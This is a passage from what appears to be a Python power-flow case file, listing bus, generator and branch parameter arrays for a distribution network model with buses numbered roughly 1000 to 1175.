1.05, 0.95],\n [1126, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1127, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1128, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1129, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1130, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1131, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1132, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1133, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1134, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1135, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1136, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1137, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1138, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1139, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1140, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1141, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1142, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1143, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1144, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1145, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1146, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1147, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1148, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1149, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1150, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1151, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1152, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1153, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1154, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1155, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1156, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1157, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1158, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1159, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1160, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1161, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1162, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1163, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1164, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1165, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1166, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1167, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1168, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1169, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1170, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1171, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1172, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1173, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1174, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1175, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95]\n ])\n\n\n ## Gen data\n case[\"gen\"] = array([\n [1000, 0.0, 0.0, 100.0, -100.0, 1.02, 100.0, 1, 100.0, -100.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1101, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1103, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1104, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1106, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1107, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1109, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1110, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1111, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1113, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1114, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1115, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1117, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1120, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1122, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1123, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1124, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1125, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1126, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1128, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1131, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1133, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1134, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1135, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1136, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1137, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1139, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1142, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1144, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1146, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1147, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1148, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1149, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1150, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1151, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1153, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1154, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1156, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1157, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1158, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1160, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1161, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1163, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1164, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1165, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1167, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1168, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1169, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1170, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1171, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1172, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1173, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1174, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1175, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1101.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.25, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1103.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.32, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1104.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.25, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1106.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.32, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1107.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.25, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1109.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.32, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1110.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.25, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1111.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.25, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1113.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.07, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1114.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.31, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1115.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.27, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1117.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.27, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1120.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.27, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1122.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.4, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1123.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.4, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1124.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.4, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1125.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.4, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1126.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.27, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1128.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.27, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1131.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.27, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1133.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.4, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1134.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.4, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1135.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.4, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1136.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.4, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1137.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.27, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1139.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.28, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1142.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.28, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1144.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.28, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1146.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.41, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1147.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.41, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1148.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.41, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1149.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.41, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1150.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.41, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1151.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1153.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1154.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1156.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1157.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1158.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1160.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1161.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1163.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1164.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1165.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1167.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.35, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1168.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.15, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1169.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.36, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1170.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.15, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1171.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.36, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1172.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.15, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1173.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.36, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1174.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.15, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1175.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.36, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1102, 1.0, 0.0, 1.0, -1.0, 0.0, 100.0, 1, 4.5, 0.0, 1., 4.5, -1.1, 1.1, -.4, .4, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1105, 1.0, 0.0, 1.0, -1.0, 0.0, 100.0, 1, 4.5, 0.0, 1., 4.5, -1.1, 1.1, -.4, .4, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1108, 1.0, 0.0, 1.0, -1.0, 0.0, 100.0, 1, 4.5, 0.0, 1., 4.5, -1.1, 1.1, -.4, .4, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1116, 1.0, 0.0, 1.0, -1.0, 0.0, 100.0, 1, 4.5, 0.0, 1., 4.5, -1.1, 1.1, -.4, .4, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1127, 1.0, 0.0, 1.0, -1.0, 0.0, 100.0, 1, 4.5, 0.0, 1., 4.5, -1.1, 1.1, -.4, .4, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1152, 1.0, 0.0, 1.0, -1.0, 0.0, 100.0, 1, 4.5, 0.0, 1., 4.5, -1.1, 1.1, -.4, .4, 0.0, 0.0, 0.0, 0.0, 0.0],\n ])\n\n ## Branch data\n case[\"branch\"] = array([\n [1000.0, 1100.0, 0.0, 0.004667, 0.0, 25.0, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1100.0, 1101.0, 0.002245, 0.001164, 0.0, 6.82, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1101.0, 1102.0, 0.002245, 0.001164, 0.0, 6.82, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1102.0, 1103.0, 0.000688, 0.000187, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1100.0, 1104.0, 0.002245, 0.001164, 0.0, 6.82, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1104.0, 1105.0, 0.002245, 0.001164, 0.0, 6.82, 